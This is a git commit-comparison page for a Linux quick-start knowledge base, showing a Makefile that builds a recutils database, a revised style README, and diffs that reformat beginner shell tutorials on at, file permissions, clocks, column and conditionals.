Compare commits
180 Commits
42767fe41f
...
master
Author | SHA1 | Date | |
---|---|---|---|
3dface826f
|
|||
a55712032b
|
|||
33a959fcea
|
|||
4ed4c87acf
|
|||
68f9eb2a7d
|
|||
c407e8be9e
|
|||
f52b241dc2
|
|||
c0755da29f
|
|||
c3afb4b562
|
|||
f5b3d969fd
|
|||
7e2487f0d3
|
|||
3fec180a14
|
|||
c08ad6f175
|
|||
1a17ffda7f
|
|||
556dba6f29
|
|||
b7a79951c5
|
|||
2d95304da4
|
|||
8e64f8f58e
|
|||
3b04aaf8be
|
|||
1dfdac516b
|
|||
63e4c409bb
|
|||
98dbb5e3d6
|
|||
45eae50c24
|
|||
24bb7014f9
|
|||
92145ac4b7
|
|||
7292e0625e
|
|||
ffa4dbc51a
|
|||
641b8fb825
|
|||
a6b8420c26
|
|||
68d3a850c0
|
|||
7e75763cee
|
|||
2d3961e0f5
|
|||
72ad0786c8
|
|||
b64d9de0c4
|
|||
fa9c8edb1d
|
|||
741e988536
|
|||
a72e2b117d
|
|||
cc574d5358
|
|||
0d76eb0531
|
|||
3bfeacd2d7
|
|||
ed4b54cf7e
|
|||
4e89c5ab9b
|
|||
1732c62734
|
|||
fb157895fb
|
|||
b3258d9f5f
|
|||
d793bca3ea
|
|||
14470b6f92
|
|||
59fb0ada24
|
|||
b68fa25cea
|
|||
5bd45973b4
|
|||
66cdca5c85
|
|||
aa32bfc249
|
|||
fc88ab6200
|
|||
eaec01076b
|
|||
0abc2818e8
|
|||
4250f619c3
|
|||
4d53f7c7d6
|
|||
38feabb79f
|
|||
b4683a8681
|
|||
d2934bf8a3
|
|||
5afc414a52
|
|||
d8b4a9d00b
|
|||
a15b565e09
|
|||
6ccba626c8
|
|||
415985d08c
|
|||
d6c3cd6387
|
|||
4c3d51ff83
|
|||
8f3da4558f
|
|||
137466a423
|
|||
37df47cf3b
|
|||
b6280a8581
|
|||
1ce84ebc53
|
|||
341b6ed46f
|
|||
63ce7e8bbb
|
|||
2184e9d663
|
|||
02381c71f2
|
|||
ef7b424586
|
|||
9621cfc26a
|
|||
d92631c795
|
|||
b81fd55a87
|
|||
e4be8a8523
|
|||
eeade3cdfb
|
|||
481b34a472
|
|||
fd850761f3
|
|||
b7729e5712
|
|||
bbd34e24ec
|
|||
808ef3bb71
|
|||
53e86fb86e
|
|||
6b4a846284
|
|||
2250275be5
|
|||
7427b05b0b
|
|||
5e703a65c0
|
|||
8b7912a68f
|
|||
5460f23f12
|
|||
7afe6e33cd
|
|||
1d8ccbc5e8
|
|||
e534d24e52
|
|||
5e07604f4b
|
|||
d8af949846
|
|||
98ffbe660a
|
|||
b34520c890
|
|||
bbaee49831
|
|||
0544be1bbb
|
|||
069b0752e3
|
|||
4447d3f877
|
|||
8a4896b971
|
|||
b2ea104e96
|
|||
5a1ba18176
|
|||
75cf02197e
|
|||
f62e007d1f
|
|||
095adff052
|
|||
f4176a9ddb
|
|||
588ce9b0cb
|
|||
bd657c9ddc
|
|||
658bda6eea
|
|||
7ec037d5df
|
|||
92d14e41b5
|
|||
79fff90250
|
|||
31f12e2161
|
|||
b5123a0d01
|
|||
377a85c2b0
|
|||
d4c4463f70
|
|||
47961779d5
|
|||
e199b99947
|
|||
6d44a44d0d
|
|||
60c5cd829e
|
|||
df53667f91
|
|||
a710375f82
|
|||
51e489a8e3
|
|||
d4ca81c2ae
|
|||
ae1e0ad726
|
|||
fc085dbb1e
|
|||
2ab863d88f
|
|||
55d5862b10
|
|||
531cb8da3d
|
|||
09f3afa35b
|
|||
e0e403fc96
|
|||
72d624ec95
|
|||
5b3a12d628
|
|||
f666ac3dc9
|
|||
38bcdd15cc
|
|||
54a9444544
|
|||
b8a9fb3fbf
|
|||
ce3e10e442
|
|||
e4beb16951
|
|||
e77d0676cf
|
|||
c6e673f1b0
|
|||
772f642679
|
|||
69d6c1ab53
|
|||
6525ad85ad
|
|||
ad9054c212
|
|||
93a48fded8
|
|||
c4313277e8
|
|||
aac3df9997
|
|||
c732d7d18d
|
|||
b24a330f7a
|
|||
0fc1f58d24
|
|||
ff3a3d2556
|
|||
6557ec6ebe
|
|||
912eeb478b
|
|||
aa34b8b6e8
|
|||
fac575fc59
|
|||
b7fa4ab8c7
|
|||
6f54bad403
|
|||
c1aff83d3e
|
|||
554eb989d5
|
|||
0da2b4c7e8
|
|||
30352efd88
|
|||
4d7bec641c
|
|||
140c8e38d4
|
|||
74e826af1e
|
|||
9a6165250c
|
|||
38d633ad7f
|
|||
981778a891
|
|||
e1d69bbcf2
|
|||
d10c6b2f9e
|
|||
ba8026e0c3
|
|||
1ba3010b81
|
|||
f4f70a8976
|
|||
7f544b6be3
|
82
Makefile
Normal file
82
Makefile
Normal file
@@ -0,0 +1,82 @@
|
||||
MAKEFLAGS += -j
|
||||
MAKEFLAGS += -s
|
||||
EDITOR ?= vi
|
||||
FZF != command -v sk || command -v fzy || command -v fzf || \
|
||||
{ echo install a fuzzy finder && exit 1 ;}
|
||||
|
||||
spill_contents = sed -e '1,/---/d'
|
||||
|
||||
help: ## Print the help message
|
||||
@awk 'BEGIN {FS = ":.*?## "} /^[0-9a-zA-Z._-]+:.*?## / {printf "\033[36m%s\033[0m : %s\n", $$1, $$2}' $(MAKEFILE_LIST) | \
|
||||
sort | \
|
||||
column -s ':' -t
|
||||
|
||||
articles != find * -type f -name "*.md"
|
||||
|
||||
dirs != ls -d */
|
||||
categories = $(patsubst %/, %, $(dirs))
|
||||
|
||||
databases = $(patsubst %, .dbs/%.rec, $(categories))
|
||||
|
||||
default += $(databases)
|
||||
|
||||
$(foreach dir, $(categories), \
|
||||
$(eval .dbs/$(dir).rec: $(wildcard $(dir)/*)) \
|
||||
)
|
||||
|
||||
.dbs/:
|
||||
mkdir $@
|
||||
$(databases): .dbs/%.rec: %/ | .dbs/
|
||||
$(info making $(@F))
|
||||
for entry in $(shell find $< -type f -name "*.md") ; do \
|
||||
printf "file: %s\n" "$$entry" ;\
|
||||
sed -n '2,/^---$$/ {/^---$$/d; p}' "$$entry" |\
|
||||
tr -d '[]' | tr -s ' ' |\
|
||||
sed '/tags: /s/, /\ntag: /g ; s/tags:/tag:/ ; /requires/s/, /\nrequires: /g' ;\
|
||||
printf "wordcount: %s\n\n" "$$(wc -w < $$entry)" ;\
|
||||
done > $@
|
||||
|
||||
# This two-variable read can only happen because of the quotes in the titles.
|
||||
db.rec: $(databases)
|
||||
$(warning rebuilding from $? )
|
||||
printf '%s\n' '%rec: guide' > $@
|
||||
printf '%s\n' '%key: title' >> $@
|
||||
printf '%s\n' '%type: requires rec guide' >> $@
|
||||
printf '%s\n' '%type: provides rec guide' >> $@
|
||||
printf '%s\n' '%type: wordcount int' >> $@
|
||||
printf '%s\n\n' '%sort: wordcount' >> $@
|
||||
cat $^ >> $@
|
||||
recsel $@ -e "requires != ''" -CR title,requires |\
|
||||
while read title requires; do \
|
||||
for provider in "$$requires" ; do \
|
||||
recset $@ -e "title = '$${provider}'" -f provides -a "$${title}" ;\
|
||||
done ;\
|
||||
done
|
||||
sed -i 's/"//g' $@
|
||||
recfix --sort $@
|
||||
$(info Created main database: $@)
|
||||
|
||||
default += db.rec
|
||||
|
||||
.git/info/exclude: $(default)
|
||||
echo $^ | tr ' ' '\n' > $@
|
||||
|
||||
default += .git/info/exclude
|
||||
|
||||
.PHONY: database
|
||||
database: $(default) ## Make a recfiles database
|
||||
|
||||
.PHONY: article
|
||||
article: ## Write an article
|
||||
@path=$$(find $(categories) -type d | sort | uniq | $(FZF)) ;\
|
||||
read -p "Title: " title ;\
|
||||
filename="$$(echo "$$title" | tr '[:upper:]' '[:lower:]' | tr ' ' '_')" ;\
|
||||
printf '%s\n' '---' >> $$path/$$filename.md ;\
|
||||
printf 'title: "%s"\n' "$$title" >> $$path/$$filename.md ;\
|
||||
printf 'tags: [ "%s" ]\n' "$$path" | tr '[:upper:]' '[:lower:]' | sed 's#\/#", "#g' >> $$path/$$filename.md ;\
|
||||
printf '%s\n\n' '---' >> $$path/$$filename.md ;\
|
||||
$(EDITOR) +5 "$$path/$$filename.md"
|
||||
|
||||
.PHONY: clean
|
||||
clean: ## Remove all generated files
|
||||
$(RM) $(default)
|
112
README.md
112
README.md
@@ -1,61 +1,101 @@
|
||||
---
|
||||
title: "Knowledge Base"
|
||||
title: "Linux Knowledge Base"
|
||||
---
|
||||
|
||||
# Linux Knowledgebase
|
||||
The Linux Knowledge-Base provides quick-start guides for working with terminal programs.
|
||||
|
||||
This is a list of quickstart guides for Linux programs, designed to get the user up and running as fast as possible.
|
||||
If you like this style of short articles with a miniature database, then join me in my quest to remove the nausea of poorly-written documentation.
|
||||
|
||||
# Setup
|
||||
|
||||
Install `make`, `recutils`, and any fuzzy-finder (i.e. `sk`, `fzy`, or `fzf`).
|
||||
|
||||
## Usage
|
||||
|
||||
Set up the database and try a few queries:
|
||||
|
||||
```sh
|
||||
make
|
||||
make database
|
||||
|
||||
recsel db.rec -m 3
|
||||
recsel db.rec -q database
|
||||
recsel db.rec -e "title = 'ssh'"
|
||||
recsel db.rec -e "title ~ 'ssh'"
|
||||
recsel db.rec -e "title ~ 'bash'" -R title,wordcount
|
||||
|
||||
recsel db.rec -t guide -j provides -G title \
|
||||
-e "title = 'ssh'" \
|
||||
-p 'sum(provides_wordcount)'
|
||||
```
|
||||
|
||||
# Style
|
||||
|
||||
## Praxis Only
|
||||
## No History, No Context
|
||||
|
||||
We leave theory alone as much as possible.
|
||||
The documentation should be of the form 'if you want *X*, type *Y*'.
|
||||
- Nobody cares about how the project started.
|
||||
- Nobody wants to read what `ffmpeg` is, because anyone who wants to use it already knows what it is.
|
||||
|
||||
We don't need to explain what a program does - anyone looking up 'how to X', already knows what they want to do.
|
||||
We don't even need to explain which program to use - if someone wants to combine an mp4 and webm video into a single video file, they only care about that result, not about learning `ffmpeg`.
|
||||
## State Knowledge Dependencies
|
||||
|
||||
Any interest in these tools only comes after we can use them.
|
||||
Articles should state what you need to understand in order to read them *at the start*.
|
||||
They should not assume the reader knows much beyond common terminal commands, and should not provide a link to some other resource half-way through an article.
|
||||
|
||||
## Chronological
|
||||
People should be able to read an article from the beginning, then keep going until the end, and then stop.
|
||||
Articles should not take a detour through a chain of other articles of unknown size.
|
||||
|
||||
Entries should read like scripts - everything in the right order, with small notes on what this does.
|
||||
[Do not Jaquays documentation](https://splint.rs/posts/no_links)
|
||||
|
||||
The chronology should never branch.
|
||||
If `gitea` can use three different types of database, the documentation should simply pick one and continue instructions from there.
|
||||
Repetition works better than a reference - if a database requires three commands to set up, it's better to repeat those three commands for every program that requires a database than to just link to another file which discusses databases.
|
||||
## Be Opinionated
|
||||
|
||||
## Three Input Types
|
||||
- Guides should not ask the reader to select options half-way through.
|
||||
- Options for different filesystems, databases, et c., should be written as separate guides.
|
||||
|
||||
There are three types of examples:
|
||||
## Repetition Beats Reference
|
||||
|
||||
Fixed input:
|
||||
If a database requires three commands to set up, it's better to repeat those three commands for every program that requires a database than to just link to another file which discusses databases.
|
||||
|
||||
> ls
|
||||
## Show Arguments as Variables
|
||||
|
||||
Arbitrary Input shows the non-fixed input in italics:
|
||||
Look at this line:
|
||||
|
||||
> ls *myFile.txt*
|
||||
|
||||
Output shows as unformatted text:
|
||||
|
||||
```
|
||||
LK img
|
||||
Mail kn
|
||||
Projects music
|
||||
```sh
|
||||
grep ls --color=always $HISTFILE | less -R
|
||||
```
|
||||
|
||||
# Example
|
||||
What else can go in place of `always`?
|
||||
Can you say `--color=red`?
|
||||
Can you put anything?
|
||||
The answer is not obvious.
|
||||
|
||||
```
|
||||
How to see which websites you're actively accessing:
|
||||
|
||||
> ss -tr dst :443
|
||||
What about this line:
|
||||
|
||||
```sh
|
||||
git branch new
|
||||
git checkout new
|
||||
```
|
||||
|
||||
# What's wrong with everything else?
|
||||
Do you always use `new`?
|
||||
Can you use another word here?
|
||||
The answer is not obvious.
|
||||
|
||||
It's better to make all arbitrary values variables.
|
||||
|
||||
```sh
|
||||
git branch $branch_name
|
||||
git checkout $branch_name
|
||||
PAGER='less -R'
|
||||
grep ls --color=always $HISTFILE | $PAGER
|
||||
```
|
||||
|
||||
Now we can see what can be changed.
|
||||
|
||||
## Assume People Follow the Instructions
|
||||
|
||||
Articles should say what to type, not the output.
|
||||
If the command is `ls`, users will see files once they try the command, but the article does not need to provide an example list of files unless an important point has to be made about output.
|
||||
|
||||
# What's Wrong with Everything Else?
|
||||
|
||||
## Man pages
|
||||
|
||||
@@ -63,12 +103,14 @@ How to see which websites you're actively accessing:
|
||||
- Often presumes you know everything except that one program.
|
||||
- Often written in the 80's, and it shows.
|
||||
- Zero respect for your time.
|
||||
- Often references `info` pages (yuck).
|
||||
|
||||
## curl cheat.sh/
|
||||
## `curl cheat.sh`
|
||||
|
||||
- Doesn't have the programs I like.
|
||||
- Too short to get you started on many programs.
|
||||
- Poor understanding of priority (`git stash` is covered before `git commit`).
|
||||
- Repetitive
|
||||
|
||||
# Current State
|
||||
|
||||
@@ -76,5 +118,5 @@ This started as a few personal notes, and will probably continue to look like th
|
||||
It's a bit of a mess.
|
||||
|
||||
Systemd is taken as a default.
|
||||
Non-systemd commands we relegate to their respective distros, e.g. runit for Void Linux.
|
||||
Non-systemd commands are mentioned when required for a distro, e.g. runit for Void Linux.
|
||||
|
||||
|
@@ -1,6 +0,0 @@
|
||||
---
|
||||
title: "Linux Knowledge Base"
|
||||
---
|
||||
|
||||
{{< ticks >}}
|
||||
{{< /ticks >}}
|
56
basics/at.md
56
basics/at.md
@@ -1,32 +1,48 @@
|
||||
---
|
||||
title: "at"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics", "time" ]
|
||||
---
|
||||
Install with:
|
||||
|
||||
> sudo apt install at
|
||||
```bash
|
||||
sudo apt install at
|
||||
```
|
||||
|
||||
Enable the daemon service with:
|
||||
|
||||
> sudo systemctl enable --now atd
|
||||
```bash
|
||||
sudo systemctl enable --now atd
|
||||
```
|
||||
|
||||
Then jobs can be specified with absolute time, such as:
|
||||
|
||||
> at 16:20
|
||||
```bash
|
||||
at 16:20
|
||||
```
|
||||
|
||||
> at noon
|
||||
```bash
|
||||
at noon
|
||||
```
|
||||
|
||||
> at midnight
|
||||
```bash
|
||||
at midnight
|
||||
```
|
||||
|
||||
> at teatime
|
||||
```bash
|
||||
at teatime
|
||||
```
|
||||
|
||||
Type in your command, e.g.:
|
||||
|
||||
> touch /tmp/myFile.txt
|
||||
```bash
|
||||
touch /tmp/$FILE.txt
|
||||
```
|
||||
|
||||
The jobs can also be specified relative to the current time:
|
||||
|
||||
> at now +15 minutes
|
||||
```bash
|
||||
at now +15 minutes
|
||||
```
|
||||
|
||||
Finally, accept the jobs with ^D.
|
||||
|
||||
@@ -34,24 +50,28 @@ Finally, accept the jobs with ^D.
|
||||
|
||||
Display a list of commands to run with:
|
||||
|
||||
> atq
|
||||
```bash
|
||||
atq
|
||||
```
|
||||
|
||||
`2 Sat Oct 20 16:00:00 2018 a roach-1`
|
||||
> 2 Sat Oct 20 16:00:00 2018 a roach-1
|
||||
|
||||
This will print all pending IDs. Remove a job by the ID with:
|
||||
|
||||
> atrm 2
|
||||
```bash
|
||||
atrm 2
|
||||
```
|
||||
|
||||
Check /var/spool/atd/
|
||||
Check `/var/spool/atd/` to see the jobs.
|
||||
|
||||
## Automation
|
||||
|
||||
Automatically add a job for later, by setting the date, then using echo for the command.
|
||||
|
||||
> t="$(date -d "2 minutes" +%R)"
|
||||
|
||||
> echo "fortune > ~/file" | at "$t"
|
||||
|
||||
> watch cat file
|
||||
```bash
|
||||
t="$(date -d "2 minutes" +%R)"
|
||||
echo "fortune > ~/$FILE" | at "$t"
|
||||
watch cat $FILE
|
||||
```
|
||||
|
||||
The `$t` here outputs the day in minutes, but you could also do `t="$(date -d "2 days" +%m/%d/%Y)"`.
|
||||
|
218
basics/basics.md
218
basics/basics.md
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "Basics"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
|
||||
You need about a dozen commands to move around Linux.
|
||||
@@ -9,91 +9,136 @@ Don't worry about understanding any of it, just type it in and the habit forms p
|
||||
|
||||
You start in a dark room. You want to know where you are by **p**rinting out your **w**orking '**d**irectory' (i.e. 'location'):
|
||||
|
||||
> pwd
|
||||
```bash
|
||||
pwd
|
||||
```
|
||||
|
||||
Have a look at what is here:
|
||||
|
||||
> ls
|
||||
```bash
|
||||
ls
|
||||
```
|
||||
|
||||
If you get no response, the list of items is "", meaning "nothing here".
|
||||
|
||||
Have a look at **a**ll the files:
|
||||
|
||||
> ls -a
|
||||
```bash
|
||||
ls -a
|
||||
```
|
||||
|
||||
`. ..`
|
||||
```bash
|
||||
. ..
|
||||
```
|
||||
|
||||
So `.` means 'here' and `..` means 'you see stairs leading downwards' (e.g. 'the directory behind you').
|
||||
|
||||
Change directory (`cd`) down one level:
|
||||
|
||||
> cd ..
|
||||
```bash
|
||||
cd ..
|
||||
```
|
||||
|
||||
Look where you are again with `pwd`, then go back up. Use `ls`, and if you see `bob`, then:
|
||||
|
||||
> cd bob
|
||||
```bash
|
||||
cd bob
|
||||
```
|
||||
|
||||
Move around the directories. The place at the bottom is the 'root', and is known as `/`. Go to the root:
|
||||
|
||||
> cd /
|
||||
```bash
|
||||
cd /
|
||||
```
|
||||
|
||||
Do `ls` again and change into `etc`. Look at how much space those folders are taking up:
|
||||
Do `ls` again and `cd` into `etc`. Look at how much space those folders are taking up:
|
||||
|
||||
> du iptables
|
||||
```bash
|
||||
du iptables
|
||||
```
|
||||
That's the number of kilobytes the file is taking up.
|
||||
Do the same again, but in a human-readable format:
|
||||
|
||||
That's the number of kilobytes the file is taking up. Do the same again, but in a human-readable format:
|
||||
```bash
|
||||
du -h iptables
|
||||
```
|
||||
|
||||
> du -h iptables
|
||||
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands.
|
||||
Have a look at the manual and try another command:
|
||||
|
||||
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands. Have a look at the manual and try another command:
|
||||
|
||||
> man du
|
||||
```bash
|
||||
man du
|
||||
```
|
||||
|
||||
Once you're done, press 'q' to quit the manual page and try the extra `du` flag you've found.
|
||||
|
||||
Now you can try to gain super-powers and take over the system:
|
||||
|
||||
> sudo -i
|
||||
```bash
|
||||
sudo -i
|
||||
```
|
||||
|
||||
At this point, you are 'root'. All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine. Best to exit out of the root account:
|
||||
At this point, you are 'root'.
|
||||
All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine.
|
||||
Best to exit out of the root account:
|
||||
|
||||
> exit
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
|
||||
Go find a file that isn't a directory. You can tell which is which with:
|
||||
|
||||
> ls -l
|
||||
```bash
|
||||
ls -l
|
||||
```
|
||||
|
||||
A directory starts with a 'd', like this:
|
||||
|
||||
`drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/`
|
||||
```bash
|
||||
drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/
|
||||
```
|
||||
|
||||
A standard file starts with '-', like this:
|
||||
|
||||
```bash
|
||||
`-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname`
|
||||
```
|
||||
|
||||
Look inside the file /etc/hostname to find out your computer's name:
|
||||
|
||||
> cat /etc/hostname
|
||||
```bash
|
||||
cat /etc/hostname
|
||||
```
|
||||
|
||||
Print out the words "hello world":
|
||||
|
||||
> echo "hello world"
|
||||
```bash
|
||||
echo "hello world"
|
||||
```
|
||||
|
||||
Move back to your home directory:
|
||||
|
||||
> cd
|
||||
```bash
|
||||
cd
|
||||
```
|
||||
|
||||
Take the words 'hello world', and put them in 'my_file':
|
||||
|
||||
> echo 'hello world' > my_file
|
||||
```bash
|
||||
echo 'hello world' > my_file
|
||||
```
|
||||
|
||||
Measure the disk usage of that file, then put the results at the bottom of the file:
|
||||
|
||||
> du my_file >> my_file
|
||||
```bash
|
||||
du $FILE >> $FILE
|
||||
```
|
||||
|
||||
And check the results:
|
||||
|
||||
> cat my_file
|
||||
```bash
|
||||
cat $FILE
|
||||
```
|
||||
|
||||
# Autocompletion
|
||||
|
||||
@@ -103,50 +148,70 @@ Press tab after typing a few keys and bash will guess what you're trying to typ
|
||||
|
||||
Look at your file's owner:
|
||||
|
||||
> ls -l my_file
|
||||
```bash
|
||||
ls -l $FILE
|
||||
```
|
||||
|
||||
If it says `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` then the file is owned by 'root'.
|
||||
|
||||
Take your file and change the owner to root:
|
||||
|
||||
> sudo chown root my_file
|
||||
```bash
|
||||
sudo chown root $FILE
|
||||
```
|
||||
|
||||
Change the same file so it's owned by the group 'audio':
|
||||
|
||||
> sudo chown :audio my_file
|
||||
```bash
|
||||
sudo chown :audio $FILE
|
||||
```
|
||||
|
||||
Check you did that correctly:
|
||||
|
||||
> ls -l my_file
|
||||
```bash
|
||||
ls -l my_file
|
||||
```
|
||||
|
||||
`-rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file`
|
||||
> -rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file
|
||||
|
||||
Read the start of that line. Root can 'read' and 'write' to or delete the file. Try to remove (delete) it:
|
||||
|
||||
> rm my_file
|
||||
```bash
|
||||
rm $FILE
|
||||
```
|
||||
|
||||
You'll see you're not allowed, because you don't own it.
|
||||
|
||||
Look at which groups you're in:
|
||||
|
||||
> groups
|
||||
```bash
|
||||
groups
|
||||
```
|
||||
|
||||
Change the file so that members of the audio group can write to the file:
|
||||
|
||||
> sudo chmod g+w my_file
|
||||
```bash
|
||||
sudo chmod g+w $FILE
|
||||
```
|
||||
|
||||
Check you got it right with `ls -l`:
|
||||
|
||||
> -rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
|
||||
```bash
|
||||
-rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
|
||||
```
|
||||
|
||||
Try to delete the file again:
|
||||
|
||||
> rm my_file
|
||||
```bash
|
||||
rm my_file
|
||||
```
|
||||
|
||||
If you can't, you're not in the audio group. Add yourself. You'll need to *modify* your *user account*, by **a**ppending 'audio' to your list of groups.
|
||||
Use `-a` to **a**ppend, and `-G`, to say you're modifying groups:
|
||||
|
||||
> sudo usermod -a -G audio [ your username here ]
|
||||
```bash
|
||||
sudo usermod -a -G audio [ your username here ]
|
||||
```
|
||||
|
||||
Now you should be able to remove (delete) the file. Remember, that using 'rm file' will not send it to a recycling bin. The file is gone.
|
||||
|
||||
@@ -154,59 +219,83 @@ Now you should be able to remove (delete) the file. Remember, that using 'rm fi
|
||||
|
||||
Make a directory called 'new test':
|
||||
|
||||
> mkdir 'new test'
|
||||
```bash
|
||||
mkdir 'new test'
|
||||
```
|
||||
|
||||
Make two directories, called 'A', and 'Z':
|
||||
|
||||
> mkdir A Z
|
||||
```bash
|
||||
mkdir A Z
|
||||
```
|
||||
|
||||
Make a single directory called 'A Z'
|
||||
|
||||
> mkdir 'A Z'
|
||||
```bash
|
||||
mkdir 'A Z'
|
||||
```
|
||||
|
||||
# Text Searches
|
||||
|
||||
Measure the disk usage of everything ('\*' means 'everything'), and put it in a file called 'disk usage.txt':
|
||||
|
||||
> du -sch * > A/'disk usage'.txt
|
||||
```bash
|
||||
du -sch * > A/'disk usage'.txt
|
||||
```
|
||||
|
||||
Look at your file:
|
||||
|
||||
> cat A/'disk usage.txt'
|
||||
```bash
|
||||
cat A/'disk usage.txt'
|
||||
```
|
||||
|
||||
If you think you have too much information, use `grep` to just get the one line of text you want:
|
||||
|
||||
> grep total A/disk\ usage.txt
|
||||
```bash
|
||||
grep total A/disk\ usage.txt
|
||||
```
|
||||
|
||||
The `grep` program also has a manual ('man page'). You should find out what that `-c` flag does, but the manual is too long to read.
|
||||
|
||||
Start the manual:
|
||||
|
||||
> man du
|
||||
```bash
|
||||
man du
|
||||
```
|
||||
|
||||
Then search for `-c` by pressing `/`. Your final keys should be `man du`, then `/-c`
|
||||
|
||||
Find out if the `ls` program also has a 'human readable' format by using `grep` to search for the word 'human':
|
||||
|
||||
> man ls | grep human
|
||||
```bash
|
||||
man ls | grep human
|
||||
```
|
||||
|
||||
Now use that flag that you've found in combinatin with the `-l` flag to look at a file.
|
||||
|
||||
Remove the directory 'Z':
|
||||
|
||||
> rmdir Z
|
||||
```bash
|
||||
rmdir Z
|
||||
```
|
||||
|
||||
Remove the directory 'Z':
|
||||
|
||||
> rmdir Z
|
||||
```bash
|
||||
rmdir Z
|
||||
```
|
||||
|
||||
And then remove all the rest:
|
||||
|
||||
> rmdir *
|
||||
```bash
|
||||
rmdir *
|
||||
```
|
||||
|
||||
The 'A' directory will not budge because it's not empty. Remove it recursively, so the computer will remove the things inside the directory as well as the directory itself:
|
||||
|
||||
> rm -r A
|
||||
```bash
|
||||
rm -r A
|
||||
```
|
||||
|
||||
# Installation
|
||||
|
||||
@@ -214,36 +303,51 @@ You get a package manager which installs programs, fonts, et c.
|
||||
If you're on something like Debian, you'll have `apt`, or if you're on something like Red Hat, you'll have `yum`.
|
||||
If unsure, ask where a program is:
|
||||
|
||||
> whereis yum
|
||||
```bash
|
||||
whereis yum
|
||||
```
|
||||
|
||||
> whereis apt
|
||||
```bash
|
||||
whereis apt
|
||||
```
|
||||
|
||||
If you get a hit, you can use whatever program that is to install things.
|
||||
|
||||
Set a reminder of your package manager:
|
||||
|
||||
> echo my package manager is yum | lolcat
|
||||
```bash
|
||||
echo my package manager is yum | lolcat
|
||||
```
|
||||
|
||||
If that failed it's because you don't have `lolcat` installed.
|
||||
Install lolcat:
|
||||
|
||||
> sudo apt install lolcat
|
||||
```bash
|
||||
sudo apt install lolcat
|
||||
```
|
||||
|
||||
Try the same command again.
|
||||
|
||||
Search for things you want, like `libreoffice`, or `gimp`:
|
||||
|
||||
> apt search libreoffice
|
||||
```bash
|
||||
apt search libreoffice
|
||||
```
|
||||
|
||||
... then install one of them with:
|
||||
|
||||
> apt install [ thing ]
|
||||
```bash
|
||||
apt install $PROGRAM
|
||||
```
|
||||
|
||||
Remove `lolcat`, because it's useless:
|
||||
|
||||
> sudo apt remove lolcat
|
||||
```sh
|
||||
sudo apt remove lolcat
|
||||
```
|
||||
|
||||
... and that's pretty much it. You can move, create, destroy, install things, and look things up.
|
||||
...and that's pretty much it.
|
||||
You can move, create, destroy, install things, and look things up.
|
||||
|
||||
# Review
|
||||
|
||||
|
@@ -1,31 +1,43 @@
|
||||
---
|
||||
title: "clock"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics", "time" ]
|
||||
---
|
||||
|
||||
Show system time:
|
||||
|
||||
> date
|
||||
```bash
|
||||
date
|
||||
```
|
||||
|
||||
Show hardware time:
|
||||
|
||||
> sudo hwclock -r
|
||||
```bash
|
||||
sudo hwclock -r
|
||||
```
|
||||
|
||||
Change system time to match hardware time:
|
||||
|
||||
> sudo hwclock --hctosys
|
||||
```bash
|
||||
sudo hwclock --hctosys
|
||||
```
|
||||
|
||||
Change hardware time to match system time:
|
||||
|
||||
> sudo hwclock --systohc
|
||||
```bash
|
||||
sudo hwclock --systohc
|
||||
```
|
||||
|
||||
Manually set the hardware time to a specified date:
|
||||
|
||||
> sudo hwclock --set --date="8/25/19 13:30:00"
|
||||
```bash
|
||||
sudo hwclock --set --date="8/25/19 13:30:00"
|
||||
```
|
||||
|
||||
## Normal Date
|
||||
|
||||
> date +%d/%m/%y
|
||||
```bash
|
||||
date +%d/%m/%y
|
||||
```
|
||||
|
||||
# Unix Time
|
||||
|
||||
@@ -33,7 +45,9 @@ Computers started counting time on January 1st, 1970, and added one second-per-s
|
||||
|
||||
Track the time in Unix-time:
|
||||
|
||||
> date +%s
|
||||
```bash
|
||||
date +%s
|
||||
```
|
||||
|
||||
# Network Time Providers
|
||||
|
||||
@@ -41,9 +55,13 @@ Servers which take their time from an observatory we call Stratum 1 servers. Se
|
||||
|
||||
Install ntp with:
|
||||
|
||||
> sudo apt-get install -y ntp
|
||||
```bash
|
||||
sudo apt-get install -y ntp
|
||||
```
|
||||
|
||||
The shell command for this is `ntpq`. Monitor the service providers using:
|
||||
|
||||
> ntpq -p
|
||||
```bash
|
||||
ntpq -p
|
||||
```
|
||||
|
||||
|
36
basics/column.md
Normal file
36
basics/column.md
Normal file
@@ -0,0 +1,36 @@
|
||||
---
|
||||
title: "column"
|
||||
tags: [ "basics", "format", "json" ]
|
||||
---
|
||||
|
||||
Put output into column.
|
||||
|
||||
```bash
|
||||
du -h /etc/* | column
|
||||
```
|
||||
|
||||
Reformat file with an explicit separator (`-s`):
|
||||
|
||||
```bash
|
||||
column -ts: /etc/passwd
|
||||
```
|
||||
|
||||
Give columns names (`-N`), so you can hide some (`-H`):
|
||||
|
||||
```bash
|
||||
column -ts: -N User,PW,UID,GID,Description,Home,shell -H PW,GID /etc/passwd
|
||||
```
|
||||
|
||||
Reorder with `-O` (unspecified items remain):
|
||||
|
||||
|
||||
```bash
|
||||
column -ts: -N User,PW,UID,GID,Description,Home,shell -H PW,GID -O User,Description,shell /etc/passwd
|
||||
```
|
||||
|
||||
Output to json format with `-J`:
|
||||
|
||||
```bash
|
||||
column -J -ts: -H PW,GID,shell -N User,PW,UID,GID,Description,Home,shell /etc/passwd
|
||||
```
|
||||
|
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "conditionals"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
# If statements
|
||||
|
||||
@@ -41,29 +41,28 @@ case $CRE in
|
||||
owlbears | monsters ) echo "Really you're a wizard fan"
|
||||
;;
|
||||
esac
|
||||
```
